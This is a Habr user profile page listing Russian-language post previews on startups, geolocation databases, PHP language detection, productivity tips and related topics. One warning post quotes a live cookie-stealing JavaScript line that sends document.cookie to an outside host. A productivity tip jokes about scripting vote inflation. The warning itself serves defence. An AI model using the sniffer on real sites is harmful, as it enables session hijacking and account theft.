Pull to refresh
18
0
Роман Павлюк @romeo

Пользователь

Send message

Золотые горы стартапу, или не живем бесплатно, даже если назвался 'free'

Reading time11 min
Views1.8K
Этот топик — приглашение к обсуждению. В конце обещаю очень полезную вещь.

В последнее время, все больше появляется бесплатного и открытого. Все понятно, когда Google делает великолепный инструмент на котором можно было бы много заработать (SketchUp) — бесплатным — все понимают, что компания и так зарабатывает много денег и ей важнее заполучить больше пользователей. Хотя и есть платная версия. Однако все больше и больше из нас придумывают новые идеи, такие как YubNub (сервис не мой), и подобные, которые облегчат жизнь пользователям. Сделать — день-два, отладить неделя-десять, донести до ума пользователей — год.

Однако встает вопрос — тратить время на развитие сервиса — это терять деньги. Элементарно — сервер, люди, личное время — все деньги отнимает. Раньше эту проблему могла бы решить реклама…
Читать дальше →
Total votes 128: ↑117 and ↓11+106
Comments128

Города России в именительном, предложном (местном) и родительном падеже.

Reading time1 min
Views8.7K
Приняв во внимание все замечания из предыдущего поста с базой городов, мы обновили ее и добавили еще родительный падеж. Теперь база отвечает на вопрос «Откуда?». Например: Вася из Ярославля.

Скачать:
  1. CSV
  2. MySQL

Автоматическая обработка: Jetfish
Вычитка и ручная корректировка Sofrus

Как и в прошлый раз, при желании, выражайте респект и уважуху им, а не мне. Я просто их прикрываю.
Total votes 111: ↑103 and ↓8+95
Comments24

Что делать с триллионом фотографий в Интернет?

Reading time2 min
Views1.8K
Разработка новых подходов к поиску фотографий в Интернет становится сейчас более чем перспективным направлением:

Просто потому что 100 миллиардов изображений появляются ежегодно.

Этому способствует 750 миллионов мобильных телефонов, приобретаемых нами, а также 100 миллионов цифровых фотоаппаратов, уходящих с прилавков ежегодно. В ближайшем будущем тот же Google планирует насчитывать в своем индексе 1 триллион изображений.

Компании улучшают текстовый поиск (Picsearch.com, Facesaerch.com). Другие работают с визуальными запросами (в качестве запроса — изображение, а не текст) или пытаются сочетать текст и картинку (Riya, Picollator.ru).

Читать дальше →
Total votes 1: ↑1 and ↓0+1
Comments41

Автоматическое определение языка произвольного текста на РНР — библиотека PHPLangautodetect

Reading time15 min
Views20K
Знаете, работа с стартапе, который пытается создать что-то новое и уникальное на рынке очень захватывает. И не только открывающимися возможностями, но и часто нетривиальными задачами и вопросами, которые ставятся перед создателями и которые раньше никто не решал. Вот один из таких вопросов как раз вчера появился передо мной: дано нам произвольную строку текста, заведомо известно, что она может быть двух, а в некоторых случаях и трехъязычной, то есть там смешанный текст из нескольких языков. Необходимо прозрачно для пользователя определить язык, на котором написан текст.

На самом деле задача не такая и редкая — подобная функциональность есть и в текстовых редакторах, и в переключателе клавиатуры PuntoSwitcher, да и в системах машинного перевода такой функционал востребован, не говоря уже про системы поиска информации. Кстати, именно в контексте создания специализированного поисковика и классификатора текстов и появилась такая проблема. Необходимо было получить такую возможность в собственной программе на платформе РНР и при этом не задействовать сторонние сервисы — подобная возможность в виде веб-сервиса присутствует в Google Language API (в своём блоге я уже исследовал этот сервис), однако она выполняется удалённо и имеет некоторые существенные для нас ограничения, в частности, процедура опознания языка выполняется с существенной задержкой и асинхронна по своей природе. Кроме этого очень хотелось иметь полный контроль над процессом и иметь возможность его гибко настраивать, чего, увы, нет в сторонних сервисах. Поэтому пришлось подумать и попробовать реализовать собственными силами, результат же представляем вашему вниманию.
Читать дальше →
Total votes 45: ↑38 and ↓7+31
Comments45

Определение города по IP-адресу

Reading time2 min
Views35K
Такая потребность может возникнуть при геотаргетинге информации, работе картографических сервисов, анализе статистики посещений сайта.

Задача решается следующим образом.

1. Выкачиваем и правильно складываем базы whois.
2. Для каждой подсети определяем город.
3. Пакуем базу в бинарный файл.

Но зачем это все делать самим, когда уже есть готовые решения. Одно из них (полную версию) я выкладываю сюда для теста и получения фидбэка.
Читать дальше →
Total votes 38: ↑32 and ↓6+26
Comments84

Внимание, воровство cookies!

Reading time1 min
Views3.8K
В недавно опубликованном посте Однокласникис.инфо (не кликай, пока не дочитаешь) хабраюзер grg391 запостил комментарий со вложенным javascript'ом:

хабрахабр опасносте

Из-за этого комментария все комментарии после него не отображаются.

Содержание скрипта «bestrussianporn.ru/s.js»:
img = new Image(); img.src = "http://s.netsec.ru/gojas.gif?"+document.cookie;
Т. е. это sniffer ваших cookies, будьте осторожны, если вы при авторизации отмечали чекбокс «не привязыватьтся к IP-адресу» злоумышленник может завладеть вашим аккаунтом.

Рекомендуется сменить пароль.
Total votes 100: ↑96 and ↓4+92
Comments64

Самая большая база данных в мире — в Yahoo! И работает она на PostgreSQL!

Reading time2 min
Views20K
Яху!Компания Yahoo утверждает, что ей удалось побить мировой рекорд, создав самую большую и нагруженную базу данных в мире!

Объём запущенной год назад базы данных достиг 2 петабайт. Система создана для аналитических целей, в ней хранится история поведения веб-пользователей (утверждается, что в месяц сохраняются данные о полумиллиарде пользователей). Помимо прочего, интернет-гигант заявляет, что это не только самая большая БД в мире, но ещё и самая нагруженная — в сутки в ней регистрируются данные о 24 млрд событиях.
Читать дальше →
Total votes 68: ↑67 and ↓1+66
Comments53

Веб сервер за пару вечеров — II

Reading time5 min
Views11K

Многие из нас собирали компьютер сами, из комплектующих. Дело не сложное, соединить с десяток шлейфов, да завинтить столько же винтиков. Но мало кто сталкивался с самостоятельной сборкой серверов, причем не обычных а в промышленном формате под стойку 19 дюймов. В этом небольшом обзоре я опишу свой опыт сборки такого сервера, постараюсь показать что это не сложно, и остановлюсь на главных моментах, на что нужно смотреть. На написание этого обзора меня толкнуло то, что информации о сборке rack 19’ серверов в рунете очень мало, и приходилось её искать буквально по крупицам.
Читать дальше →
Total votes 142: ↑141 and ↓1+140
Comments191

Google открывает то, что скрыто

Reading time1 min
Views827
Наверное, всем известно, что Google слишком любопытный поисковик. Однако, кто-то использует это для более точного поиска, а кто-то — для несколько иных целей.
Только что от моего товарища пришла ссылка по ICQ на видео-хак, которые открывает, так сказать «недокументированные возможности всемирно известного поисковика». Поиск паролей, скрытых директорий, документов, видеокамер — это малый перечень того, что умеет Google.
Достаточно давно на сайте уже поднималась эта тема. Оказывается, некий Джонни из забугорного интернета ведёт целый каталог подобных ссылок, именуемый Google Hacking Database (GHDB).
Немного старая тема, возможно, но все же кто-то о ней не знает, а кого-то найдутся новые интересные мысли на этот счет.

Смотреть видео на YouTube
Total votes 40: ↑32 and ↓8+24
Comments14

Флажки

Reading time1 min
Views3.6K
По-моему иконки с флагами двухсот сорока семи государств мега-полезный комплект. И, даже, если вы будете регулярно использовать только одну-две, полезно будет знать где их взять, на всякий случай.
иконки-флаги
Все иконки проименованы в соответствии с международным стандартом ISO:3166-1, хранятся в двух форматах: png и gif, и могут использоваться в любых целях.
Спасибо Марку Джеймсу (Mark James, famfamfam.com).
Читать дальше →
Total votes 79: ↑75 and ↓4+71
Comments45

Flash-Ajax Video Component

Reading time1 min
Views736
В Adobe Labs выложили занятный компонент, благодаря которому ваши AJAX-приложения могут обзавестись flash-видео: вы получите всё необходимое для создания видео-плеера, с возможностью кастомизации HTML и Javascript.
Читать дальше →
Total votes 16: ↑14 and ↓2+12
Comments9

Кино для гика

Reading time2 min
Views3.6K
Revolution OS — обложка.
Revolution OS (год: 2001).
Фильм о Linux и движении свободного программного обеспечения. Какого-либо сюжета в фильме замечено не было — фильм однозначно документальный. Содержит многочисленные интервью с такими людьми, как Линус Торвальдс (Linus Benedict Torvalds, создатель ядра Linux, а также автор книги Just for Fun), Ричард Столлман (Richard Matthew Stallman, создатель идеологии свободного программного обеспечения), Эрик Рэймонд (Eric Steven Raymond, автор книги The Cathedral and the Bazaar — Собор и Базар), и ещё с некоторыми. Содержит в себе различные довольно интересные рассказы, например про то, как линуксоиды, впервые пожелавшие вернуть деньги за Microsoft Windows, пошли учинять беспорядки в Microsoft и как их там заблокировали. =)
В России фильм издан не был, а вот в Японии — очень даже: справа обложка именно японского издания. Тем не менее, есть субтитры на русском языке. Трэйлер (18.84 MB).


Pirates of Silicon Valley — обложка.
Pirates of Silicon Valley (год: 1999).
Также известен у нас в стране как «Пираты Кремниевой Долины» и, прости меня, Ктулху, «Пираты Силиконовой Долины» (ужас, кто это придумал? создаётся ощущение, что речь идёт о порнухе). Фильм, наделённый воистину великолепным сюжетом, основанный на реальных событиях, а точнее даже на книге Fire in the Valley: The Making of The Personal Computer. Собственно, фильм описывает те самые волшебные события, происходившие с начала семидесятых прошлого века и до 1985 (Steven Jobs ушёл из Apple). С одной стороны рассматриваются Стив Джобс и Стивен Уозняк (Steven Paul Jobs и Stephen Gary Wozniak), основавшие Apple, а с другой — Билл Гэйтс, Стив Баллмэр и Пол Аллэн (William Henry Gates III, Steven Anthony Ballmer и Paul Gardner Allen). Конкретно в фильме можно встретить историю создания синих ящиков (blue boxes), первого пользовательского графического интерфейса и мыши вместе с ним, покупку операционной системы DOS компанией Microsoft и дальнейшую её перепродажу IBM… Трэйлер.


Antitrust — обложка.
Antitrust (год: 2001).
Ну и в заключение фильм, название которого на русский можно перевести как «Антимонополия», а в нашем замечательном прокате фильм этот называется «Опасная правда».
В отличие от двух предыдущих фильмов, этот вовсе даже не документальный, а скорее развлекательный. Тем не менее, сюжет весьма и весьма затягивает. Рассказывается о некоей большой I.T.-корпорации, которая, как можно понять из сюжета, гораздо круче всяких там Apple и Microsoft, а также о некоем гениальном хакере, которого позвали работать в эту корпорацию. Как позже выяснилось, с корпорацией не всё чисто (и не удивительно) — например, она ставит наблюдение за программистами, пишущими свободное ПО и снимает с их мониторов исходники программ (просто превосходно: зайти на CVS/SVN и скачать исходники, вероятно, сложнее), которые в дальнейшем вставляет в свою очень крутую проприетарную разработку SYNAPSE… Ладно, на самом деле фильм интересный, это просто я так описываю по-гиковски. =) Советую посмотреть (хотя бы из-за красивой девушки-разработчика графических интерфейсов). Кроме того, в фильме можно наблюдать, например, самую настоящую KDE версии того времени, а также совершенно нормальную UNIX'овую оболочку, без всяких там несуществующих 3D-штучек, как было в… не буду тыкать пальцем, где. Трэйлер.
Total votes 43: ↑41 and ↓2+39
Comments52

Ссылки, указывающие на действие с перезагрузкой страницы или без.

Reading time1 min
Views1.4K
По-моему, в сегодняшнем Вебе просто необходимо ввести стандарт на курсор, говорящий о совершении действия с перезагрузкой страницы или без.

Из-за отсутствия такого стандарта лично мне приходится задумываться о том, стоит ли нажимать на данную ссылку или нет. Они ведь ничем не отличаются… также подчеркнуты и везде курсор «рука». Банальный пример — ссылка «Добавить комментарий». Вариаций действия при нажатии может быть много, а как мне понять, что именно произойдет на данном сайте по клику на данную ссылку — не ясно.

Частично спасает строка состояния в браузере, но это неудобно и не всегда помогает. Надо что-то делать…

P.S. может подчеркивать пунктиром ссылки без перезагрузки страницы?
Total votes 25: ↑25 and ↓0+25
Comments36

Персональный проектный менеджмент: повышаем точность управления.

Reading time8 min
Views7.4K
Одним из важнейших профессиональных качеств менеджера является умение укладываться в сроки, а также — умение прогнозировать сроки, давать четкий ответ на вопрос: «к какому моменту вы могли бы это завершить?» Кроме того, ему необходимы навыки распределения бюджета своего времени, для принятия решений типа «стоит ли браться за это дело, не нанесет ли это ущерб своевременности выполнения других дел?»

Сейчас мы остановимся на методах, позволяющих учитывать при принятии решений не только приоритетность дел и сроки их исполнения, но и затраты времени на исполнение дел, их место в общем бюджете времени.
Читать дальше →
Total votes 31: ↑30 and ↓1+29
Comments23

Пара советов по тайм-менеджменту и производительности

Reading time2 min
Views2.8K
Мне понравились советы Сары Нидлман (Sarah E. Needleman), редактора CareerJournal.com, как поймать сразу двух зайцев: добиться успеха в работе и в то же время не запускать личную жизнь. Надо всего лишь правильно организовывать своё рабочее время. Сначала я думал перевести всю статью, но потом понял, что тезисы будут интереснее.

1. Знай, когда тебе работается лучше всего
Профессионалы достигают пика продуктивности в определённое время в течение дня. И вы старайтесь организовывать своё время так, чтобы наиболее трудоёмкие задачи решались именно во время вашего «подъёма».
Читать дальше →
Total votes 41: ↑34 and ↓7+27
Comments35

Пять способов повысить продуктивность.

Reading time3 min
Views7.7K
По началу я думал что это будет просто перевод одного весьма забавного текста. Но оказалось, что он из рук вон плох, поэтому от него остались только тезисы.

Давайте сразу же договоримся — эти советы подходят в основном программерам, ну и, скажем так, сильно технишн людям. Зададимся вопросом — что такое «продуктивность»? Не знаю как вы, а я вкладываю в это слово очень простое значение. Человек продуктивен, когда выполняет необходимые ему действия с минимальным напрягом для себя и максимальной отдачей для других. В случае программера идеально продуктивным является человек, который легко и непринужденно пишет хороший код за минимальное время. Хватит слов — вот вам советы:

1. Никогда не ищите глазами, пользуйтесь функциями поиска. Всегда, всегда используйте поиск, если вы печатаете быстро. Хороший пример — открытие файла в редакторе. Используйте поиск или комплишн (в зависимости от редактора) и вы увидите насколько это быстрее. То же относится к выбору таба/буфера, если редактор не позволяет перейти в нужный буфер — выкиньте его, иначе смотрите в пункт 4. Идеальный редактор работает так — нажимаем кнопочку (в моем случае Ctrl-X + b) и в строке ввода вписываем первые несколько букв открытого в другом табе файла. Завершаем всё нажатием tab и enter. Таким методом я переключаю открытый буфер за 0.2 секунды. Мышью и глазами я переключаю его за 1.4 секунды. Что приводит нас к следующему пункту.

2. Не повторяйте что-либо более 10 раз. Это критическое число для всех разное, для меня оно именно десять. Автоматизируйте. Больше. Чаще, но не увлекаясь глобализмом. Причем не только в коде, в редакторе, в среде, но и в жизни. Нужно разбить 20 куриных яиц? Сделайте коробочку с дырочками и отсекайте острую часть яйца. 11 раз написать триграмматон на заборе? Сделайте шаблон и купите балон с краской. Не забывайте, что клавиатурные шорткаты есть почти во всем софте. Каждый раз когда вы снимате руки с клавиатуры — теряете время.

3. Учитесь скриптовым языкам. Python, Ruby, Perl, Bash, Javascript, CMD, VBasic. Просто хватайте тот, который ближе к вам и пишите-пишите-пишите. Понятно, что выбрать просто, если вы работаете в windows — для вас только CMD и VBasic. Юниксоидам доступно чуть больше, думаю это одна из причин почему гики так активно пересаживаются на Linux. Я знаю, что учиться не легко — но надо. Есть один странный рецепт — попробуйте в течение 2-3 недель работать из консоли. Нет, не надо отказываться от окон и тп — просто откройте окно терминала или cmd и работайте из него, запустив нужный вам скриптовый интерпретатор. И ради бога, никаких far/mc/nc и тп. — ваша цель научиться писать скрипты. После этих 2х недель вы вернетесь к привычной среде с довольно большим знанием о том, как же устроен скриптовый язык. Напомню, для python и ruby есть ipython и iruby. Для perl есть mshell, остальные интерпретируемы сами по себе.

4. Изучите свой IDE настолько, насколько это возможно. В идеале — откажитесь от IDE в пользу хорошего текстового редактора. Я имею ввиду редактора. Например ViM или Emacs. Пользователи MacOS могут использовать и TextMate, однако мне он кажется жалким подобием левой руки (слабой пародией на MicroEmacs). Да, и уверяю вас — оба редактора, и ViM, и Emacs имеют столько возможностей, сколько не снилось любому другому. В то же время оба они прекрасно работают без донастройки, хотя я предпочитаю Emacs. Конечно многие еще помнят что Emacs раcшифровывается как Eight Megs And Constantly Swaping, но 8 метров памяти уже давно перестали быть чем-то из ряда вон выходящим. Окей, вернемся. Выберите редактор. И теперь используйте его везде, где только можно. Вбейте себе в голову — вы используете ТОЛЬКО этот редактор. Потому что достаточно хорошо знать два редактора невозможно. Знатоки утверждают что работая со своим редактором на полную катушку вы получаете буст к производительности в 200-500%. И глядя на Бацека, например, я в это верю. И единственный минус от этого знания только в одном — вы не сможете от этого отвыкнуть.

5. Изучайте технологии и пишите маленькие программки. Выделяйте себе 20-30 процентов времени на ковыряние в новых движках или базах данных. Да, двадцать-тридцать процентов времени. Я знаю что обычно на это выделятся куда меньше — но меня-то не надо обманывать, я ж сам такой был, и хорошо знаю сколько процентов времени программист пишет код. Подвиньте чуть-чуть время, выделяемое вами на чтение LiveJournal и закопайтесь по локоть в Django. Или сядьте и напишите скрипт для накручивания голосов на Хабре. В общем проводите время весело и с пользой. Это сильно помогает отдохнуть на работе не теряя темпа. А главное — это очень неплохо сказывается на структуре вашего кода — теперь вы знаете как и что делают другие.

В общем что я хочу сказать. Стоит немного напрячься, и ваш код сам будет вылетать у вас из-под пальцев. Это я уже не говорю о том что ваши волосы станут чистыми и шелковистыми, а девочки с рецепшна прибегут к вам сами. Удачи.
Total votes 43: ↑38 and ↓5+33
Comments49

Парочка отличных эффектов

Reading time1 min
Views1K
Ну, собственно, я тут подумал, что, наверное, нужно написать об этом здесь. Итак, я, будучи в здравом умме и трезвой памяти, вчера, или позавчера, или когда-то еще, при очередном серфинге и поиске очередных рюшечек нашел парачку интересненьких скриптов. Делюсь, на здоровье хабралюдям!
Total votes 51: ↑43 and ↓8+35
Comments20

Работа с телом

Reading time6 min
Views668
Как правильно заметил phyrz, раскрытие профессиональных секретов подобно стриптизу. Но я вынужден продолжить потому, что считаю интерес к теме приоритетнее морального аспекта вопроса.

Сегодня я хотел бы рассказать о работе с клиентами в разрезе уже озвученных типологий. И еще раз всех призываю не скупиться на комментарии и вопросы. Ведь в статье я ограничен временем и объемом, поэтому всего рассказать просто физически не могу. Задавая мне вопросы, вы можете узнать больше.

В качестве преамбулы скажу только одно – не бойтесь клиентов. Страх зажимает вас, вашу инициативу, интересные предложения, мысли. Страх делает вас уязвимее.

Читать дальше →
Total votes 43: ↑41 and ↓2+39
Comments33

Типология клиентов

Reading time4 min
Views2.7K
Поскольку yagryagr явно взял тайм-аут, позволю себе влить немного информации по теме нашего блога.

Итак. Около года назад я написал и опубликовал на Creatiff.ru типологию клиентов и исполнителей. Не думаю, что кому-нибудь из вас удалось ознакомиться с этим материалом — проект ни жив, ни мертв. А, между тем, сама тема актуальности не теряет, поэтому я возьму на себя смелость опубликовать еще один релиз с небольшими правками и дополнениями.

Как уже было сказано в предыдущих постах, я — отраслевой веб-продюсер. С одной стороны в мои обязанности входит управление требованиями: я общаюсь с клиентами и вывожу их на определенный конструктив, с которым уже можно работать. С другой стороны в мои обязанности входит управление творческим коллективом: тем самым, который полученные требования реализует. Можно сказать, что я меж двух огней. С одной стороны клиенты давят, с другой дизайнеры напирают, с третьей менеджеры суетятся (это вообще отдельная тема). У каждого своя правда, каждому «надо», и мне тоже «надо»… Скучно не бывает.

Читать дальше →
Total votes 36: ↑31 and ↓5+26
Comments52

Information

Rating
Does not participate
Location
Санкт-Петербург и область, Россия
Date of birth
Registered
Activity